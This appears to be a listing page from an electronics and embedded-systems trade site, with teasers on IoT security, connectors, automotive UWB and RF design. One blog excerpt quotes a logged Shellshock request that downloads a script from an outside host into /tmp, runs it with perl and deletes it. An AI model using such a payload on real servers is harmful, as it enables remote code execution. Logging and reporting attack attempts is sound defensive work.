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  • Multicore Q&A with LDRA

    Not just for plants, cross-pollination applies to know-how, too, and there may be no better example than what’s taking place among the mil-aero, medical, industrial and other markets as they seek to take on the complexities of security and safety for multicore systems.

  • Security: The Ultimate Barrier to IoT Success

    Coming to a meeting of minds on security, independent portability and virtualization will pave the way for IoT success.

  • Connector Technologies for Data-Driven Military Environments

    Smaller form factors combined with an increasing amount of data flowing through military infrastructures has created the need for ruggedized, miniature connectors at home in high-speed, data-driven systems.

  • Automotive Security: Why UWB Measures Up

    When IEEE ratified 802.15.4a it opened the way to highly accurate tracking using wireless technology for the automotive and other industries. Now, with a new breed of integrated Ultra

  • Cortus IP connects the third wave of computational devices

    Two 32bit processor IPs have been released by Cortus, the company’s second generation of processor IP that takes a minimalist approach to the ‘third wave’ of applications. Caroline Hayes spoke to Roddy Urqhart, Vice President Sales & Marketing, Cortus.

  • Building Security In: Tools and Techniques for Reducing Software Vulnerabilities

    By definition secure software is high-quality software, but the reverse is not always true.

  • RF Connectivity Eases Up on Power Not Security

    Sensor networks for consumer and industrial applications can benefit from low-power RF technologies combined with hardware encryption for safeguarding data.

  • IoT Standards Enable Interoperability

    Experts weigh in on challenges in IoT device development, the value of standards, and the importance of standards groups such as the Industrial Internet Consortium.

  • A 3-Tier Approach to IoT Security

    To ensure the functionality of an IOT system, software designers should consider a 3-tiered stack of controls, where the lowest level ensures the integrity of the next.

  • The RF-Wireless Side of IoT

    Power amplifier innovation, newer communication technologies and additional manufacturing materials will help RF-Wireless meet the demands of the IoT. Much of the coverage for IoT

From the Blogosphere

  • Blog Post: Driving ADCs: Amplifier or balun?

    Baluns are often used to convert a single-ended signal to differential, without adding noise and while maintaining good distortion. A common example of that is in the driver circuit for a high-speed, differential-input analog-to-digital converter (ADC).  Have you ever considered using a differential amplifier to replace...

  • EEVblog #680 – Mailbag

    Mailbag Monday Flux Capacitor T-Shirts HERE How NOT to blow up your oscilloscope (Isolation & Grounding) How a Microwave Magnatron Works PCB Holder Magazine Memories Memory Stacks Isolated USB-RS232 Interface LGB Model Train Controller & Decoder Caterpillar Dump Truck Controller 2114 SRAM Memory Forum HERE...

  • … and the shell shock attempts continue …

    From (174-143-168-121.static.cloud-ips.com) Request: '() { :;}; /bin/bash -c "wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache"' Viewed 26568 times by 2908 viewers...

  • Comment on Periodic Steady-State Analysis for DC-to-DC Converters

    Amir, Information about your circuit, your testbench, and the simulator options that you have tried is always useful to provide when asking for assistance with debugging. Here are some things that I look at and have useful in the past. 1) Plot the pulse width versus time to see if the circuit really is in steady state a....